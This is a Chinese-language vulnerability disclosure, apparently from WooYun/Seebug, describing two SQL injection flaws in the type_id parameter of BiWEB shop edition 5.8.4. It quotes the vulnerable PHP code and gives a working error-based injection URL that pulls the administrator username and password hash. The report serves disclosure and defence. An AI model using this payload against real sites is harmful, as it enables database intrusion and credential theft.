### 简要描述:
BiWEB最新商城版2处注入漏洞打包
### 详细说明:
在wooyun上看到了有人提了BiWEB的一个XSS漏洞: WooYun: BIWEB商城版XSS盲打cookie ,也有人提了SQL注入,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。
注入点是http://xxxx.com/product/list.php?type_id=1,其中type_id存在多处注入漏洞。
第一处注入存在于/product/include/list.inc.php中的$objWebInit->getNavRouteInfo($_GET['type_id'])语句中;
第二处注入存在于/product/block/child_brand.php中的$arrTopInfo = $objproduct->getBrandWithProductType($_GET['type_id'])语句中;
下面来以第一处注入漏洞来说明,第二处的注入方法请参考我的这个漏洞:http://wooyun.org/bugs/wooyun-2014-085024
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤filtrate.inc.php
```
<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
filtrateData()方法的实现见下面
```
/**
* filtrateData($ParamValue)
* 作 用:递归去除所有值两边的空白
* @author Arthur <ArthurXF@gmail.com>
* @param $ParamValue (需要过滤空白的数据)
* @param array $arrHtml (不需要过滤的数据key组成的数组)
* @return 去除空白之后的数据
* 备 注:无
*/
static function filtrateData(&$ParamValue,$arrHtml){
if (is_array($ParamValue)){
foreach ($ParamValue as $key=>$value){
if(is_array($value)){
check::filtrateData($value,$arrHtml);
}else{
if(v === 'v' || v === '' || strpos(p,v)) exit;
if($key === 'v') {
echo v;exit;
}
if(count($arrHtml)){
if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value);
else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
}else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
}
}
}else{
$ParamValue = trim($ParamValue);
}
}
```
在/product/include/list.inc.php中有一处数字型的注入
```
无关代码
//取得产品分类的导航信息
$arrNavInfo = array();
if (!empty($_GET['type_id'])) {
$objWebInit->getNavRouteInfo($_GET['type_id']);
}
无关代码
```
继续去看看getNavRouteInfo(),在/product/class/product.class.php中
```
/**
* 通过 type_id ,递归取出 路由信息,用于导航 分类一 => 分类一一 => 分类一一一
* @author 嬴益虎 (whoneed@126.com)
* @param int $type_id 分类id
* @return array
*/
function getNavRouteInfo($type_id){
global $arrNavInfo;
$strWhere = "where type_pass=1 and type_id=$type_id";
$arrProductType = $this->getTypeList($strWhere);
$arrTemp = array();
$arrTemp['type_id'] = $arrProductType['0']['type_id'];
$arrTemp['type_title'] = $arrProductType['0']['type_title'];
if($arrProductType['0']['type_parentid'] != 0){//不是顶级分类
$this->getNavRouteInfo($arrProductType['0']['type_parentid']);
$arrNavInfo[] = $arrTemp;
}else {
$arrNavInfo[] = $arrTemp;
}
}
```
虽然有全局过滤,这里的type_id是数字型的,而全局过滤只是使用了htmlspecialchars对几个特殊符号进行了编码,这里不使用这几个特殊符号就可以绕过了。payload如下
```
Payload:
http://xxxx.com/product/list.php?type_id=1/**/or/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x23,(select/**/concat(user_name,0x23,password,0x23)from/**/biweb_user/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)
```
成功注入,管理员用户名及密码如下图中所示:
[<img src="https://images.seebug.org/upload/201411/29233004e7aa248e35679e0283a000f69f5d56c5.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/29233004e7aa248e35679e0283a000f69f5d56c5.jpg)
### 漏洞证明:
见 详细说明
暂无评论